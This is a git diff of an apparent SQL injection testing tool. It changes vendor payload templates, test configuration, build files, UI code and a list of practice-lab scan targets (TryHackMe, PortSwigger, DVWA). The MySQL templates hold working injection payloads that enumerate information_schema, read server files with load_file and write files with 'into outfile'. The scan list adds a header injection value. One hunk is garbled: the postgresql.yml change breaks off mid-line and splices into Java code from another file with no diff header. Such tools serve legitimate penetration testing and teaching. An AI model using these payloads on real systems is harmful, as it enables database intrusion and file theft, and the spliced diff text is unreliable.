+                    var requestSetVendor = new Request();
+                    requestSetVendor.setMessage(Interaction.SET_VENDOR);
+                    Map msgHeader = new EnumMap<>(Header.class);
+                    msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
+                    msgHeader.put(Header.VENDOR, this.injectionModel.getMediatorVendor().getVendor());
+                    requestSetVendor.setParameters(msgHeader);
+                    this.injectionModel.sendToViews(requestSetVendor);
+                }
+            } catch (StoppedByUserSlidingException e) {
+                throw new JSqlRuntimeException(e);
+            }
+        });
+        return null;
+    }
+}
\ No newline at end of file
diff --git a/model/src/main/java/com/jsql/util/CookiesUtil.java b/model/src/main/java/com/jsql/util/CookiesUtil.java
index 7eb4fe4c86..18c3a9d75f 100644
--- a/model/src/main/java/com/jsql/util/CookiesUtil.java
+++ b/model/src/main/java/com/jsql/util/CookiesUtil.java
@@ -27,6 +27,9 @@ public CookiesUtil(InjectionModel injectionModel) {
     public boolean testParameters(boolean hasFoundInjection) {
 
         if (!hasFoundInjection) {
+            if (!this.injectionModel.getMediatorUtils().getPreferencesUtil().isCheckingAllCookieParam()) {
+                return false;
+            }
             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking cookies params...");
         } else {
             return true;
diff --git a/model/src/main/resources/vendor/mysql.yml b/model/src/main/resources/vendor/mysql.yml
index 64ea7ff75b..945255732e 100644
--- a/model/src/main/resources/vendor/mysql.yml
+++ b/model/src/main/resources/vendor/mysql.yml
@@ -21,8 +21,8 @@ resource:
        separator ${separator_cell_hex}
    ) from (
        select
-           cast(schema_name as char) r,
-           cast(count(table_name) as char) q
+           schema_name r,
+           count(table_name) q
        from information_schema.tables
        right join information_schema.schemata
        on schema_name = table_schema
@@ -43,8 +43,8 @@ resource:
        separator ${separator_cell_hex}
    ) from (
        select
-           cast(table_name as char) r,
-           cast(ifnull(table_rows, 0x30) as char) q
+           table_name r,
+           ifnull(table_rows, 0x30) q
        from information_schema.tables
        where table_schema = 0x${database.hex}
        /* Required by Error Extractvalue */
@@ -62,7 +62,7 @@ resource:
        order by n
        separator ${separator_cell_hex}
    ) from (
-       select cast(column_name as char) n
+       select column_name n
        from information_schema.columns
        where table_schema = 0x${database.hex}
        and table_name = 0x${table.hex}
@@ -83,8 +83,8 @@ resource:
         separator ${separator_cell_hex}
     ) from (
         select
-            cast(concat(${fields}) as char) r,
-            cast(count(*) as char) q
+            concat(${fields}) r,
+            count(*) q
         from `${database}`.`${table}`
         group by r
         /* Required by Error Extractvalue */
@@ -145,7 +145,7 @@ resource:
        select concat(@a:=0,(select count(*) from (
            select concat(
                ${enclose_value_hex},
-               cast(schema_name as char),
+               schema_name,
                '${separator_qte_sql}0${enclose_value_sql}${separator_cell_sql}'
            ) a
            from information_schema.schemata 
@@ -158,7 +158,7 @@ resource:
        select concat(@a:=0,(select count(*) from (
            select concat(
                ${enclose_value_hex},
-               cast(table_name as char),
+               table_name,
                '${separator_qte_sql}0${enclose_value_sql}${separator_cell_sql}'
            ) a
            from information_schema.tables
@@ -172,7 +172,7 @@ resource:
        select concat(@a:=0,(select count(*) from (
            select concat(
                ${enclose_value_hex},
-               cast(column_name as char),
+               column_name,
                '${separator_qte_sql}0${enclose_value_sql}${separator_cell_sql}'
            ) a
            from information_schema.columns
@@ -187,7 +187,7 @@ resource:
         select concat(@a:=0,(select count(*) from (
             select concat(
                 ${enclose_value_hex},
-                cast(concat(${fields}) as char),
+                concat(${fields}),
                 '${separator_qte_sql}0${enclose_value_sql}${separator_cell_sql}'
             ) a
             from `${database}`.`${table}`
@@ -199,13 +199,13 @@ resource:
 
  file:
   privilege: |
-   cast((
+   (
        select if(count(*) = 1, 0x74727565, 0x66616c7365)
        from information_schema.user_privileges
-       where grantee = concat(0x27, replace(cast(current_user as char), 0x40, 0x274027), 0x27)
+       where grantee = concat(0x27, replace(current_user, 0x40, 0x274027), 0x27)
        and privilege_type = 0x46494c45
-   ) as char)
-  read: cast(load_file(0x${filepath.hex}) as char)
+   )
+  read: load_file(0x${filepath.hex})
   write:
    body: (select 0x${body.hex})
    path: into outfile '${filepath}'
@@ -248,6 +248,7 @@ strategy:
     - tidb
    orderByErrorMessage:
     - Unknown column '1337' in 'order clause'
+   vendorSpecific: if(${test}, 'a', 'b')='a'
 
  normal:
   indices: union select ${indices}
diff --git a/model/src/main/resources/vendor/oracle.yml b/model/src/main/resources/vendor/oracle.yml
index 5daa4a89ee..557cc7de2d 100644
--- a/model/src/main/resources/vendor/oracle.yml
+++ b/model/src/main/resources/vendor/oracle.yml
@@ -173,7 +173,7 @@ strategy:
   slidingWindow: |
    (
        select
-           '${lead}'
+           '${lead_pipe}'
            || substr(
                (${injection}),
                ${window.char},
@@ -209,13 +209,14 @@ strategy:
     - "Warning: oci_fetch_array()"
    orderByErrorMessage:
     - ORDER BY item must be the number of a SELECT-list expression
+   vendorSpecific: 0 != bitand(case when ${test} then 1 else 2 end, 1)
 
  normal:
   indices: union select ${indices} from dual
   capacity: |
    (
        select
-           '${lead}'
+           '${lead_pipe}'
            || ${indice}
            || ${calibrator}
            s
diff --git a/model/src/main/resources/vendor/postgresql.yml b/model/src/main/resources/vendor/postgresql.yml
index fdbb7e8249..7559f99ecd 100644
--- a/model/src/main/resources/vendor/postgresql.yml
+++ b/model/src/main/resources/vendor/postgresql.yml
@@ -121,7 +121,7 @@ strategy:
    select
        /* Coalesce appends trail when end of string (${lead}${trail}).
           TODO Cleaner lead (similar to 0+1) */
-       'Sq' || 'Li'
+       '${lead_pipe}'
        || coalesce(
            substr(
                (${injection}),
@@ -159,10 +159,11 @@ strategy:
    orderByErrorMessage:
     # Collision with vertica
     - (? System.getProperty("profileId", "tests").equals(
-            propertyByEngine.getKey().getProperty("jsql.profile", "tests")  // undefined by default
-        ))
+        getPropertiesFilterByProfile()
         .forEach(propertyByEngine -> {
             
             Configuration configuration = new Configuration();
@@ -221,6 +219,13 @@ private static void initializeNeo4j() throws IOException {
         driver.close();
     }
 
+    public static Stream> getPropertiesFilterByProfile() {
+        return SpringTargetApplication.propertiesByEngine.parallelStream().filter(propertyByEngine ->
+            System.getProperty("profileId") == null
+            || propertyByEngine.getKey().getProperty("jsql.profile").equals(System.getProperty("profileId"))
+        );
+    }
+
     /**
      * For debug purpose only.
      * @param args
@@ -236,7 +241,7 @@ public static void main(String[] args) throws Exception {
     @PreDestroy
     public void onDestroy() throws Exception {
 
-        if (!"tests-additional".equals(System.getProperty("profileId", StringUtils.EMPTY))) {
+        if (System.getProperty("profileId") == null || "tests".equals(System.getProperty("profileId"))) {
 
             LOGGER.info("Ending in-memory databases...");
             serverDerby.shutdown();
diff --git a/model/src/test/java/spring/tenant/MasterService.java b/model/src/test/java/spring/tenant/MasterService.java
index e980dec26b..686621e7c7 100644
--- a/model/src/test/java/spring/tenant/MasterService.java
+++ b/model/src/test/java/spring/tenant/MasterService.java
@@ -20,11 +20,7 @@ public MasterService() {
         // Remove annoying logs from jdbc driver
         DriverManager.setLogWriter(null);
         
-        SpringTargetApplication.propertiesByEngine.stream()
-        .filter(propertyByEngine -> System.getProperty("profileId", "tests").equals(
-            propertyByEngine.getKey().getProperty("jsql.profile", "tests")  // undefined by default
-        ))
-        .map(AbstractMap.SimpleEntry::getKey).forEach(props -> {
+        SpringTargetApplication.getPropertiesFilterByProfile().map(AbstractMap.SimpleEntry::getKey).forEach(props -> {
             
             DatasourceConnectionProviderImpl connectionProvider = new DatasourceConnectionProviderImpl();
             
diff --git a/model/src/test/resources/docker/docker-compose.yml b/model/src/test/resources/docker/docker-compose.yml
index c7e087a207..9047fd92f7 100644
--- a/model/src/test/resources/docker/docker-compose.yml
+++ b/model/src/test/resources/docker/docker-compose.yml
@@ -1,7 +1,6 @@
 version: "3.7"
 services:
 
-
   cubrid:
     ports:
       - "33000:33000"
diff --git a/model/src/test/resources/docker/scripts/healthcheck/healthcheck-additional.sh b/model/src/test/resources/docker/scripts/healthcheck/healthcheck-additional.sh
index 05142ef213..4be703577c 100755
--- a/model/src/test/resources/docker/scripts/healthcheck/healthcheck-additional.sh
+++ b/model/src/test/resources/docker/scripts/healthcheck/healthcheck-additional.sh
@@ -2,7 +2,7 @@
 
 steps=0
 function __echoStep {
-  steps=$((steps+1)) && echo "## Step $steps/8"
+  steps=$((steps+1)) && echo "## Step $steps/2"
 }
 
 __echoStep && ./model/src/test/resources/docker/scripts/healthcheck/sqlserver.sh
diff --git a/model/src/test/resources/docker/scripts/healthcheck/healthcheck.sh b/model/src/test/resources/docker/scripts/healthcheck/healthcheck.sh
index b24263fe1d..14d96cb23e 100755
--- a/model/src/test/resources/docker/scripts/healthcheck/healthcheck.sh
+++ b/model/src/test/resources/docker/scripts/healthcheck/healthcheck.sh
@@ -2,7 +2,7 @@
 
 steps=0
 function __echoStep {
-  steps=$((steps+1)) && echo "## Step $steps/8"
+  steps=$((steps+1)) && echo "## Step $steps/6"
 }
 
 __echoStep && ./model/src/test/resources/docker/scripts/healthcheck/cubrid.sh
diff --git a/model/src/test/resources/hibernate/hibernate.cubrid.properties b/model/src/test/resources/hibernate/hibernate.cubrid.properties
index ba39b2f45c..0f9a7852c2 100644
--- a/model/src/test/resources/hibernate/hibernate.cubrid.properties
+++ b/model/src/test/resources/hibernate/hibernate.cubrid.properties
@@ -1,4 +1,5 @@
 jsql.tenant = cubrid
+jsql.profile = tests
 hibernate.connection.driver_class = cubrid.jdbc.driver.CUBRIDDriver
 hibernate.connection.url = jdbc:cubrid:jsql-cubrid:33000:demodb:::
 hibernate.connection.username = 
diff --git a/model/src/test/resources/hibernate/hibernate.derby.properties b/model/src/test/resources/hibernate/hibernate.derby.properties
index f8d03d2d2d..58e663903f 100644
--- a/model/src/test/resources/hibernate/hibernate.derby.properties
+++ b/model/src/test/resources/hibernate/hibernate.derby.properties
@@ -1,4 +1,5 @@
 jsql.tenant = derby
+jsql.profile = tests
 hibernate.connection.driver_class = org.apache.derby.jdbc.ClientDriver
 hibernate.connection.url = jdbc:derby://127.0.0.1:1527/memory:testdb;create=true
 hibernate.connection.username = admin
diff --git a/model/src/test/resources/hibernate/hibernate.firebird.properties b/model/src/test/resources/hibernate/hibernate.firebird.properties
index 7a965a8fa9..431adfeaaa 100644
--- a/model/src/test/resources/hibernate/hibernate.firebird.properties
+++ b/model/src/test/resources/hibernate/hibernate.firebird.properties
@@ -1,4 +1,5 @@
 jsql.tenant = firebird
+jsql.profile = tests
 hibernate.connection.driver_class = org.firebirdsql.jdbc.FBDriver
 # defaultHoldable: allows multiple queries
 hibernate.connection.url = jdbc:firebirdsql://jsql-firebird:3050//firebird/data/EMPLOYEE.FDB?defaultHoldable
diff --git a/model/src/test/resources/hibernate/hibernate.h2.properties b/model/src/test/resources/hibernate/hibernate.h2.properties
index 89076da9a8..5b594bf5bf 100644
--- a/model/src/test/resources/hibernate/hibernate.h2.properties
+++ b/model/src/test/resources/hibernate/hibernate.h2.properties
@@ -1,4 +1,5 @@
 jsql.tenant = h2
+jsql.profile = tests
 hibernate.connection.driver_class = org.h2.Driver
 hibernate.connection.url = jdbc:h2:mem:public;IGNORECASE=TRUE;DB_CLOSE_ON_EXIT=FALSE;DB_CLOSE_DELAY=-1;
 hibernate.connection.username = sa
diff --git a/model/src/test/resources/hibernate/hibernate.hsqldb.properties b/model/src/test/resources/hibernate/hibernate.hsqldb.properties
index 75be14a2e5..267d600100 100644
--- a/model/src/test/resources/hibernate/hibernate.hsqldb.properties
+++ b/model/src/test/resources/hibernate/hibernate.hsqldb.properties
@@ -1,4 +1,5 @@
 jsql.tenant = hsqldb
+jsql.profile = tests
 hibernate.connection.driver_class = org.hsqldb.jdbc.JDBCDriver
 hibernate.connection.url = jdbc:hsqldb:hsql://127.0.0.1:9002/mainDb
 hibernate.connection.username = SA
diff --git a/model/src/test/resources/hibernate/hibernate.informix.properties b/model/src/test/resources/hibernate/hibernate.informix.properties
index 0f4939658d..ddcf1a1f6a 100644
--- a/model/src/test/resources/hibernate/hibernate.informix.properties
+++ b/model/src/test/resources/hibernate/hibernate.informix.properties
@@ -1,4 +1,5 @@
 jsql.tenant = informix
+jsql.profile = tests
 hibernate.connection.driver_class = com.informix.jdbc.IfxDriver
 hibernate.connection.url = jdbc:informix-sqli://jsql-informix:9088/sysutils
 hibernate.connection.username = informix
diff --git a/model/src/test/resources/hibernate/hibernate.mysql-5-5-40.properties b/model/src/test/resources/hibernate/hibernate.mysql-5-5-40.properties
index d2cb08de74..ca5f23f4a4 100644
--- a/model/src/test/resources/hibernate/hibernate.mysql-5-5-40.properties
+++ b/model/src/test/resources/hibernate/hibernate.mysql-5-5-40.properties
@@ -1,4 +1,5 @@
 jsql.tenant = mysql-error
+jsql.profile = tests
 hibernate.connection.driver_class = com.mysql.cj.jdbc.Driver
 hibernate.connection.url = jdbc:mysql://jsql-mysql-5-5-40:3307/musicstore?createDatabaseIfNotExist=true&allowMultiQueries=true
 hibernate.connection.username = root
diff --git a/model/src/test/resources/hibernate/hibernate.mysql.properties b/model/src/test/resources/hibernate/hibernate.mysql.properties
index ff401c8c2a..ac4a102e30 100644
--- a/model/src/test/resources/hibernate/hibernate.mysql.properties
+++ b/model/src/test/resources/hibernate/hibernate.mysql.properties
@@ -1,4 +1,5 @@
 jsql.tenant = mysql
+jsql.profile = tests
 hibernate.connection.driver_class = com.mysql.cj.jdbc.Driver
 hibernate.connection.url = jdbc:mysql://jsql-mysql:3306/musicstore?createDatabaseIfNotExist=true&allowMultiQueries=true
 hibernate.connection.username = root
diff --git a/model/src/test/resources/hibernate/hibernate.postgresql.properties b/model/src/test/resources/hibernate/hibernate.postgresql.properties
index dac1538f02..37afe4a400 100644
--- a/model/src/test/resources/hibernate/hibernate.postgresql.properties
+++ b/model/src/test/resources/hibernate/hibernate.postgresql.properties
@@ -1,4 +1,5 @@
 jsql.tenant = postgresql
+jsql.profile = tests
 hibernate.connection.driver_class = org.postgresql.Driver
 hibernate.connection.url = jdbc:postgresql://jsql-postgresql:5432/
 hibernate.connection.username = postgres
diff --git a/model/src/test/resources/hibernate/hibernate.sqlite.properties b/model/src/test/resources/hibernate/hibernate.sqlite.properties
index 60f77f2e04..70b58ddd1d 100644
--- a/model/src/test/resources/hibernate/hibernate.sqlite.properties
+++ b/model/src/test/resources/hibernate/hibernate.sqlite.properties
@@ -1,4 +1,5 @@
 jsql.tenant = sqlite
+jsql.profile = tests
 hibernate.connection.driver_class = org.sqlite.JDBC
 hibernate.connection.url = jdbc:sqlite:jsql-sqlite-its.db
 hibernate.connection.username = 
diff --git a/pom.xml b/pom.xml
index 0ab65c766b..cdd0bc5356 100644
--- a/pom.xml
+++ b/pom.xml
@@ -36,9 +36,9 @@
         3.7.0
         3.4.0
 
-        3.6.1
+        3.6.2
         4.0.0-M15
-        3.3.0
+        3.3.1
         4.8.6.2
         2.17.0
 
diff --git a/view/pom.xml b/view/pom.xml
index 792f4bb561..cc9c88bd6f 100644
--- a/view/pom.xml
+++ b/view/pom.xml
@@ -19,6 +19,8 @@
         3.6.0
         3.7.1
         5.2.0
+        1.2.1
+        1.16.1
     
 
     
@@ -59,7 +61,7 @@
             
                 org.pitest
                 pitest-maven
-                1.16.1
+                ${pitest-maven.version}
                 
                     
                         
@@ -76,7 +78,14 @@
             
                 org.pitest
                 pitest-maven
-                1.16.1
+                ${pitest-maven.version}
+                
+                    
+                        org.pitest
+                        pitest-junit5-plugin
+                        ${pitest-junit5-plugin.version}
+                    
+                
             
             
                 maven-assembly-plugin
diff --git a/view/src/main/java/com/jsql/view/swing/panel/preferences/PanelInjection.java b/view/src/main/java/com/jsql/view/swing/panel/preferences/PanelInjection.java
index e1eb569968..852ef081f9 100644
--- a/view/src/main/java/com/jsql/view/swing/panel/preferences/PanelInjection.java
+++ b/view/src/main/java/com/jsql/view/swing/panel/preferences/PanelInjection.java
@@ -98,7 +98,7 @@ public PanelInjection(PanelPreferences panelPreferences) {
             "Default is searching for the prefix but can be disabled to save time when prefix is already set by the user.";
         this.checkboxIsNotSearchingCharInsertion.setToolTipText(tooltipIsNotSearchingCharInsertion);
         this.checkboxIsNotSearchingCharInsertion.setFocusable(false);
-        var labelIsNotSearchingCharInsertion = new JButton("Disable search for injection prefix");
+        var labelIsNotSearchingCharInsertion = new JButton("Disable search for character insertion");
         labelIsNotSearchingCharInsertion.setToolTipText(tooltipIsNotSearchingCharInsertion);
         labelIsNotSearchingCharInsertion.addActionListener(actionEvent -> {
 
diff --git a/view/src/main/java/com/jsql/view/swing/sql/SqlEngine.java b/view/src/main/java/com/jsql/view/swing/sql/SqlEngine.java
index 69bda71d28..c3616571f1 100644
--- a/view/src/main/java/com/jsql/view/swing/sql/SqlEngine.java
+++ b/view/src/main/java/com/jsql/view/swing/sql/SqlEngine.java
@@ -120,16 +120,7 @@ enum TextareaWithColor {
             v -> modelYaml.getResource().setInfo(v),
             () -> modelYaml.getResource().getInfo()
         )),
-        
-        TRUTHY(new JTextPaneLexer(
-            v -> modelYaml.getStrategy().getBoolean().getTest().setTruthy(v),
-            () -> modelYaml.getStrategy().getBoolean().getTest().getTruthyAsString()
-        )),
-        FALSY(new JTextPaneLexer(
-            v -> modelYaml.getStrategy().getBoolean().getTest().setFalsy(v),
-            () -> modelYaml.getStrategy().getBoolean().getTest().getFalsyAsString()
-        )),
-         
+
         // Configuration
         SLIDING_WINDOW(new JTextPaneLexer(
             v -> modelYaml.getStrategy().getConfiguration().setSlidingWindow(v),
@@ -155,14 +146,6 @@ enum TextareaWithColor {
             v -> modelYaml.getStrategy().getConfiguration().setLimitBoundary(v),
             () -> modelYaml.getStrategy().getConfiguration().getLimitBoundary()
         )),
-        ORDER_BY_ERROR_MESSAGE(new JTextPaneLexer(
-            v -> modelYaml.getStrategy().getConfiguration().getFingerprint().setOrderByErrorMessage(v),
-            () -> modelYaml.getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
-        )),
-        INCORRECT_STRING_ERROR_MESSAGE(new JTextPaneLexer(
-            v -> modelYaml.getStrategy().getConfiguration().getFingerprint().setErrorMessageAsString(v),
-            () -> modelYaml.getStrategy().getConfiguration().getFingerprint().getErrorMessageAsString()
-        )),
         
         // Normal
         INDICES(new JTextPaneLexer(
@@ -173,10 +156,6 @@ enum TextareaWithColor {
             v -> modelYaml.getStrategy().getNormal().setCapacity(v),
             () -> modelYaml.getStrategy().getNormal().getCapacity()
         )),
-        ORDER_BY(new JTextPaneLexer(
-            v -> modelYaml.getStrategy().getNormal().setOrderBy(v),
-            () -> modelYaml.getStrategy().getNormal().getOrderBy()
-        )),
 
         STACKED(new JTextPaneLexer(
             v -> modelYaml.getStrategy().setStacked(v),
@@ -229,7 +208,33 @@ enum TextareaWithColor {
         FILE_WRITE_PATH(new JTextPaneLexer(
             v -> modelYaml.getResource().getFile().getWrite().setPath(v),
             () -> modelYaml.getResource().getFile().getWrite().getPath()
-        ))
+        )),
+
+        // Fingerprint
+        TRUTHY(new JTextPaneLexer(
+            v -> modelYaml.getStrategy().getBoolean().getTest().setTruthy(v),
+            () -> modelYaml.getStrategy().getBoolean().getTest().getTruthyAsString()
+        )),
+        FALSY(new JTextPaneLexer(
+            v -> modelYaml.getStrategy().getBoolean().getTest().setFalsy(v),
+            () -> modelYaml.getStrategy().getBoolean().getTest().getFalsyAsString()
+        )),
+        INCORRECT_STRING_ERROR_MESSAGE(new JTextPaneLexer(
+            v -> modelYaml.getStrategy().getConfiguration().getFingerprint().setErrorMessageAsString(v),
+            () -> modelYaml.getStrategy().getConfiguration().getFingerprint().getErrorMessageAsString()
+        )),
+        ORDER_BY_ERROR_MESSAGE(new JTextPaneLexer(
+            v -> modelYaml.getStrategy().getConfiguration().getFingerprint().setOrderByErrorMessage(v),
+            () -> modelYaml.getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
+        )),
+        ORDER_BY(new JTextPaneLexer(
+            v -> modelYaml.getStrategy().getNormal().setOrderBy(v),
+            () -> modelYaml.getStrategy().getNormal().getOrderBy()
+        )),
+        VENDOR_SPECIFIC(new JTextPaneLexer(
+            v -> modelYaml.getStrategy().getConfiguration().getFingerprint().setVendorSpecific(v),
+            () -> modelYaml.getStrategy().getConfiguration().getFingerprint().getVendorSpecific()
+        )),
         ;
         
         final JTextPaneLexer text;
@@ -553,11 +558,11 @@ private JPanel getPanelFingerprinting() {
         tabs.addTab(I18nUtil.valueByKey("SQLENGINE_ORDER_BY"), new LightScrollPane(1, 0, 1, 0, TextareaWithColor.ORDER_BY.getText()));
         tabs.addTab("Order by error", new LightScrollPane(1, 0, 1, 0, TextareaWithColor.ORDER_BY_ERROR_MESSAGE.getText()));
         tabs.addTab("String error", new LightScrollPane(1, 0, 1, 0, TextareaWithColor.INCORRECT_STRING_ERROR_MESSAGE.getText()));
+        tabs.addTab("Vendor specific", new LightScrollPane(1, 0, 1, 0, TextareaWithColor.VENDOR_SPECIFIC.getText()));
         tabs.addTab("Truthy", new LightScrollPane(1, 0, 1, 0, TextareaWithColor.TRUTHY.getText()));
         tabs.addTab("Falsy", new LightScrollPane(1, 0, 1, 0, TextareaWithColor.FALSY.getText()));
         
-        Stream.of("SQLENGINE_ORDER_BY")
-        .forEach(keyI18n -> {
+        Stream.of("SQLENGINE_ORDER_BY").forEach(keyI18n -> {
 
             var label = new JLabel(I18nUtil.valueByKey(keyI18n));
             tabs.setTabComponentAt(
diff --git a/view/src/main/resources/swing/list/scan-page.json b/view/src/main/resources/swing/list/scan-page.json
index 28617f03e0..03502b4291 100644
--- a/view/src/main/resources/swing/list/scan-page.json
+++ b/view/src/main/resources/swing/list/scan-page.json
@@ -33,7 +33,29 @@
     },
     {
         "url": "http://openvpn_address/run#level4_tryhackme_com/room/sqlinjectionlm",
-        "request": "level=4&sql= select+1+from+analytics_referrers+where+domain%3D1+",
+        "request": "level=4&sql=select+1+from+analytics_referrers+where+domain%3D1+",
+        "requestType": "POST",
+        "method": "REQUEST"
+    },
+    {
+        "url": "http://openvpn_address/blood/nl-search.php#tryhackme_com/room/sqlmap",
+        "header": "blood_group=",
+        "requestType": "POST",
+        "method": "REQUEST"
+    },
+    {
+        "url": "http://openvpn_address/terms-and-conditions#tryhackme.com/room/sqhell",
+        "header": "X-Forwarded-For:1'*"
+    },
+    {
+        "url": "http://openvpn_address/user?id=1#tryhackme.com/room/sqhell",
+    },
+    {
+        "url": "http://openvpn_address/post?id=2#tryhackme.com/room/sqhell",
+    },
+    {
+        "url": "http://openvpn_address/login#tryhackme_com/room/sqhell",
+        "header": "username=&password=",
         "requestType": "POST",
         "method": "REQUEST"
     },
@@ -99,6 +121,30 @@
         "method": "REQUEST",
         "header": "Authorization: Basic GET_BASE64_PASSWORD_FROM_NATAS16"
     },
+    {
+        "url": "https://burp-lab1.web-security-academy_net/filter?category=",
+        "header": "Cookie: session=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE"
+    },
+    {
+        "url": "https://burp-lab3.web-security-academy_net/filter?category=",
+        "header": "Cookie: session=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE"
+    },
+    {
+        "url": "https://burp-lab4.web-security-academy_net/filter?category=",
+        "header": "Cookie: session=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE"
+    },
+    {
+        "url": "https://burp-lab5.web-security-academy_net/filter?category=",
+        "header": "Cookie: session=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE"
+    },
+    {
+        "url": "https://burp-lab6.web-security-academy_net/filter?category=",
+        "header": "Cookie: session=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE"
+    },
+    {
+        "url": "https://burp-lab9.web-security-academy_net/filter?category=",
+        "header": "Cookie: session=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE"
+    },
     {
         "url": "http://localhost/DVWA-2.0.1/vulnerabilities/sqli/?id=&Submit=Submit",
         "header": "Cookie: PHPSESSID=LOG_IN_WITH_BROWSER_THEN_GET_COOKIE;security=low;",